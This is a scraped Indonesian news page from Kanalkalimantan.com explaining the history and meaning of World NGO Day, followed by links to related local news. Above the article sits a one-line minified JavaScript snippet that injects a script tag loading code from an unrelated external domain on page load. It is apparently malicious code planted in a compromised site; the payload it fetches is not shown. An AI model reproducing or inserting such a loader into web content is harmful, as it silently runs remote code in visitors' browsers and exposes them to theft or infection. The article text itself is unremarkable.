(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Setiap tahun pada tanggal 27 Februari diperingati sebagai Hari LSM Sedunia atau World NGO Day.
LSM atau Lembaga Swadaya Masyarakat adalah singkatan dari organisasi non-pemerintah. Hari LSM Sedunia adalah hari yang disisihkan untuk mengakui, merayakan, dan menghormati kontribusi mendasar dan dampak mendalam yang dimiliki organisasi independen ini di dunia.
LSM adalah organisasi nirlaba dan meskipun merupakan fenomena modern, sejarah mereka telah berlangsung selama ratusan tahun.
Pengaruh mereka terus tumbuh dan membuat perubahan positif yang dibutuhkan di dunia saat ini.
Sejarah Hari LSM Sedunia
Baca juga: Masuk Endemi, Dinkes Banjar Imbau Masyarakat Tetap Jalankan Prokes
Hari LSM Sedunia awalnya didirikan pada tahun 2009 oleh Marcis Liors Skadmanis, seorang pengusaha sosial. Namun, diamati untuk pertama kalinya pada 27 Februari 2014.
Ini adalah hari yang disisihkan untuk menghormati semua organisasi non-pemerintah dan nirlaba, mengakui pengaruh mereka terhadap dunia.
Liburan tersebut secara resmi diumumkan kembali pada tahun 2010 oleh 12 negara anggota Forum LSM Laut Baltik, yang diakui sebagai mitra Dewan Negara Laut Baltik.
Kemudian baru mendapat pengakuan internasional pada tahun 2014 oleh Uni Eropa, PBB, dan organisasi internasional lainnya.
LSM telah didefinisikan oleh United Nations Department of Global Communications sebagai sebuah organisasi yang merupakan “kelompok warga negara sukarela nirlaba yang dibentuk di tingkat lokal, nasional atau internasional untuk mengatasi masalah dalam mendukung barang publik.”
Baca juga: Banjir di Pengaron Capai 2 Meter, Jalan Utama Tak Bisa Dilewati
Meskipun LSM berasal dari abad ke-18, nama `organisasi non-pemerintah` diciptakan oleh Piagam Perserikatan Bangsa-Bangsa tahun 1945, Pasal 71.
Organisasi non-pemerintah juga disebut sebagai organisasi masyarakat sipil (CSO), nirlaba (NPO), organisasi keanggotaan, dan organisasi amal.
Faktor pembeda LSM adalah independensi mereka dari pemerintah.
LSM didanai secara pribadi melalui hibah, sumbangan pribadi, iuran keanggotaan, penjualan produk, dan terkadang, sumbangan pemerintah.
Survei menunjukkan bahwa terdapat tingkat kepercayaan publik yang tinggi terhadap LSM, yang membuat mereka menjadi wakil yang berguna untuk kepentingan masyarakat.
Baca juga: Gelapkan Motor Gadaian, Lelaki di Banjarmasin Dibebek Polisi
Menurut Bank Dunia, ada dua jenis LSM Ini adalah LSM operasional dan LSM advokasi Yang pertama berfokus pada perancangan dan pelaksanaan proyek terkait pembangunan sementara LSM advokasi mempromosikan penyebab spesifik yang berdampak pada kebijakan publik. (Kanalkalimantan.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
This website uses cookies.